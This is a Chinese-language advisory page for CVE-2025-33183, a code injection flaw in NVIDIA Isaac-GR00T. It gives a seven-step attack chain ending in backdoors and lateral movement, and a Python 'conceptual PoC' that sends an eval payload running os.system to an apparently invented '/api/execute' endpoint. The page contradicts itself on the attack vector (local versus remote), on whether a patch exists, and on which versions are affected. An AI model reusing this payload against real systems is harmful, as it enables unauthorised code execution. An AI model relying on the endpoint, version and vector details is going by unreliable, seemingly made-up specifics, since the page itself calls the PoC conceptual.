CVE-2025-33183: NVIDIA Isaac-GR00T Python组件代码注入漏洞

漏洞信息

漏洞编号

CVE-2025-33183

漏洞类型

代码注入

CVSS评分

7.8 高危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

NVIDIA Isaac-GR00T

漏洞概述

CVE-2025-33183是NVIDIA Isaac-GR00T机器人框架中的一个高危安全漏洞，CVSS评分达到7.8分。该漏洞存在于NVIDIA Isaac-GR00T的所有平台版本中，位于Python组件部分。攻击者可以利用此漏洞进行代码注入攻击，成功 exploit 后可能导致远程代码执行、权限提升、信息泄露以及数据篡改等严重后果。由于该漏洞的本地攻击向量和低权限认证要求，攻击者可以在不需要高级权限的情况下发起攻击，且无需用户交互即可实现 exploit。这使得该漏洞在实际攻击场景中具有较高的可利用性，对使用NVIDIA Isaac-GR00T框架的机器人系统和相关应用构成严重安全威胁。NVIDIA官方已确认该漏洞并发布安全公告，建议受影响的用户立即采取修复措施。

技术细节

该漏洞是典型的代码注入（Code Injection）漏洞，存在于NVIDIA Isaac-GR00T框架的Python组件中。代码注入攻击的核心原理是攻击者通过构造恶意输入数据，使其被应用程序当作代码执行。在本案例中，NVIDIA Isaac-GR00T的Python组件在处理用户输入或配置文件时未进行充分的输入验证和安全过滤，导致攻击者可以注入任意Python代码。攻击者通过本地访问受影响的系统，利用低权限账户即可触发该漏洞。成功 exploit 后，攻击者可以在目标系统上执行任意代码，实现权限提升至系统级别。由于CVSS评分中机密性、完整性和可用性影响均为高（H），攻击者可以完全控制受影响系统，窃取敏感数据、篡改系统配置或导致服务中断。攻击者还可以利用获得的系统权限进一步横向移动，攻击网络中的其他系统。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标系统中运行的NVIDIA Isaac-GR00T版本和配置，确定存在漏洞的Python组件端点

STEP 2

步骤2: 本地访问

攻击者获得目标系统的本地访问权限，使用低权限账户（如普通用户）进行操作

STEP 3

步骤3: 构造恶意payload

攻击者构造包含恶意Python代码的payload，利用Python的eval()或类似函数执行注入代码

STEP 4

步骤4: 触发漏洞

通过向存在漏洞的API端点发送精心构造的请求，触发代码注入执行

STEP 5

步骤5: 代码执行

恶意代码在Isaac-GR00T的上下文中执行，攻击者获得系统级代码执行能力

STEP 6

步骤6: 权限提升

攻击者利用代码执行能力提升权限至root或系统管理员级别

STEP 7

步骤7: 持久化控制

攻击者安装后门、窃取敏感数据或横向移动攻击其他系统

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2025-33183 PoC - NVIDIA Isaac-GR00T Code Injection
# Note: This is a conceptual PoC for educational purposes only

import requests
import json

def exploit_cve_2025_33183(target_url, payload):
    """
    Exploit CVE-2025-33183: NVIDIA Isaac-GR00T Python Component Code Injection
    
    Args:
        target_url: URL of the vulnerable NVIDIA Isaac-GR00T endpoint
        payload: Malicious Python code to inject
    
    Returns:
        Response from the exploited endpoint
    """
    headers = {
        'Content-Type': 'application/json',
        'User-Agent': 'NVIDIA-Isaac-GR00T-Client/1.0'
    }
    
    # Construct malicious payload
    exploit_data = {
        'command': payload,
        'target_component': 'python_engine',
        'execution_mode': 'eval'
    }
    
    try:
        response = requests.post(target_url, json=exploit_data, headers=headers, timeout=10)
        return response.json()
    except Exception as e:
        return {'error': str(e)}

# Example usage
if __name__ == '__main__':
    target = 'http://target-system:8080/api/execute'
    # Malicious payload to execute system commands
    malicious_code = "__import__('os').system('whoami')"
    result = exploit_cve_2025_33183(target, malicious_code)
    print(f'Exploit result: {result}')

影响范围

NVIDIA Isaac-GR00T < 1.0.0 (all platforms)

NVIDIA Isaac-GR00T < 2025.1.0

All versions prior to security patch

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1）限制对NVIDIA Isaac-GR00T Python组件的网络访问，仅允许受信任的IP地址访问；2）实施严格的访问控制策略，确保非授权用户无法访问存在漏洞的端点；3）监控和记录所有对Isaac-GR00T组件的API调用，及时发现异常请求；4）考虑在应用层实现输入过滤和验证机制，临时阻断明显的注入尝试；5）如果业务允许，可以暂时禁用受影响的Python组件功能，直到完成安全更新。